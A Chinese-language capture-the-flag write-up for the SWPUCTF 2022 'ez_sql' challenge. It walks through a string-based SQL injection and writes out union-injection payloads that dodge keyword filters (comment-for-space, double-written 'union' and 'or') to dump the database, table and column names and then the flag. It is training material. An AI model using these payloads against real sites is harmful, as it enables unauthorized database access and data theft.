[SWPUCTF-2022-新生赛]ez_sql


title:[SWPUCTF 2022 新生赛]ez_sql

审题

image-20240424174236580

根据提示,POST传参

image-20240424174329686

得到假的flag

判断类型

image-20240424175218834

字符型注入

判断列数

image-20240424175251377

发现空格和’or’被过滤

重新构造

nss=-1'/**/oorrder/**/by/**/4#

image-20240424175529650

发现为3个字段

采用联合注入union

爆库

image-20240424175750382

发现union被过滤,双写union绕过

image-20240424180015437

发现没有显示我们需要的一页,切换页数

得到数据库: NSS_db

爆表

image-20240424180353945

发现information_schema被过滤,尝试双写

nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),database()/**/from/**/inforinformation_schemamation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

image-20240424181118655

发现并没有用还是过滤了’or’

双写绕过

nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),database()/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

image-20240424181234252

得到两个表: NSS_tb,users

显然users无用

爆字段

nss=-1'/**/ununionion/**/select/**/1,group_concat(column_name),database()/**/from/**/infoorrmation_schema.columns/**/where/**/table_name=' NSS_tb'/**/limit/**/1,1%23

image-20240424181559010

得到字段: id,Secr3t,flll444g

显然id没用

爆字段内容

nss=-1'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23

image-20240424181921809
得到真正的flag: NSSCTF{e9e4d32b-8d81-4718-b0c7-54c3c29110f1}

相关推荐

  1. [UUCTF 2022 新生]ezsql

    2024-04-25 08:38:06       30 阅读
  2. [SWPUCTF 2021 新生]PseudoProtocols

    2024-04-25 08:38:06       50 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-25 08:38:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-25 08:38:06       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-25 08:38:06       82 阅读
  4. Python语言-面向对象

    2024-04-25 08:38:06       91 阅读

热门阅读

  1. MySQL中like关键字与索引的使用

    2024-04-25 08:38:06       157 阅读
  2. SQL中PIVOT函数的用法

    2024-04-25 08:38:06       93 阅读
  3. Vue入门

    Vue入门

    2024-04-25 08:38:06      37 阅读
  4. 基于vscode的c++开发(Windows)

    2024-04-25 08:38:06       74 阅读
  5. 探索简站WordPress主题:jianzhanpress.com的魅力所在

    2024-04-25 08:38:06       35 阅读
  6. Docker之常见FAQ记录清单

    2024-04-25 08:38:06       103 阅读